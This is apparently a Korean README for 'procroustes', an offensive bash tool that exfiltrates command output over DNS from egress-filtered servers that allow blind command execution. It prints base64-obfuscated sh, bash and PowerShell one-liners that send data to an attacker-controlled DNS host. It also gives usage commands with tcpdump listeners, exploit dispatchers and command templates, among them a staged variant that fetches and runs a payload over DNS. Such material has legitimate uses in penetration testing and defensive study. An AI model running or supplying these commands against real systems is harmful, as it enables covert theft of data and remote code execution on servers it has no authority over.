
DNS를 통해 데이터를 유출하는 과정을 자동화하는 Bash 스크립트로, 이그레스 필터링이 설정된 서버에서 블라인드 명령 실행이 가능한 경우에 사용됩니다.
데이터 유출을 DNS를 통해 자동화하는 bash 스크립트입니다. DNS를 제외한 모든 아웃바운드 연결이 차단된 서버에서 블라인드 명령어 실행이 가능할 때 사용합니다. 현재 이 스크립트는 sh, bash 및 powershell을 지원하며, exec 스타일 명령어 실행(예: java.lang.Runtime.exec)과 호환됩니다.
비스테이지:
스테이지:
작동 방식은 다음과 같습니다. 스크립트는 대상 서버에서 실행할 명령어를 입력받아, 대상 셸에 맞게 변환하여 출력이 DNS를 통해 유출될 수 있도록 합니다. 명령어가 변환된 후에는 '디스패처(dispatcher)'로 전달됩니다. 디스패처는 사용자가 제공하는 프로그램으로, 명령어를 입력받아 취약점 악용 등 어떤 수단을 써서든 대상 서버에서 실행하는 역할을 합니다. 명령어가 대상 서버에서 실행되면, 데이터의 일부를 포함한 DNS 요청을 우리의 DNS 네임 서버로 전송할 것으로 예상됩니다. 스크립트는 사용자가 제공한 명령어의 출력이 완전히 유출될 때까지 해당 요청을 수신 대기합니다.
다음은 지원되는 명령어 변환 예시로, ls 명령어를 유출하기 위해 생성된 것입니다.
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
간단히 말해, DNS를 통해 전송하기 위해 데이터를 네 개의 청크로 나누어야 한다고 가정해 보겠습니다.
이들 간의 차이는 bash에 사용된 템플릿 명령어를 통해서도 확인할 수 있습니다:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
[1] 스테이지 버전의 경우 명령어가 DNS를 통해 다운로드되므로, 나열된 크기가 전체 페이로드 크기와 동일합니다.
[2] procroustes_chunked에서는 디스패처가 여러 번 호출되며, 서버에서 실행되어야 하는 제공된 명령어도 여러 번 호출됩니다(모든 출력이 유출될 때까지). 이는 명령어를 서버에 전달(즉, 디스패처 호출)하는 데 시간이나 리소스가 많이 소요되는 경우에는 이상적이지 않습니다.
서버에서 실행하는 명령어가 멱등적이지 않거나(기능 또는 출력 측면에서, 예: "ls;rm file") 시간/리소스 집약적인 경우(예: find / -name secret) 문제가 발생할 수 있습니다. 이 경우 먼저 명령어 출력을 파일(/tmp/file 등)에 저장한 후 스크립트를 사용하여 해당 파일을 읽는 해결 방법이 있습니다.
[3] 스테이지 버전에서는 DNS를 통해 실제 페이로드를 가져오는 데 필요한 시간 오버헤드가 있습니다. 스크립트가 A 레코드를 사용하여 실제 페이로드를 가져온다는 점에 유의해야 합니다. 이는 트래픽이 대상 환경의 일반 트래픽과 더 잘 섞이도록 해주지만, 채널 용량이 제한적입니다(예: 요청당 4바이트). TXT와 같은 다른 레코드 유형을 사용하면 스테이지 다운로드 시간을 최소화하고(거의 0으로) 스테이저 크기도 줄일 수 있습니다.
| procroustes_chunked | procroustes_full | procroustes_full_staged |
|---|
| 페이로드 크기 오버헤드 (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| 디스패처 호출 횟수 | #output/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| 속도 (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| 구성 난이도 | 쉬움 | 쉬움+ | 중간 |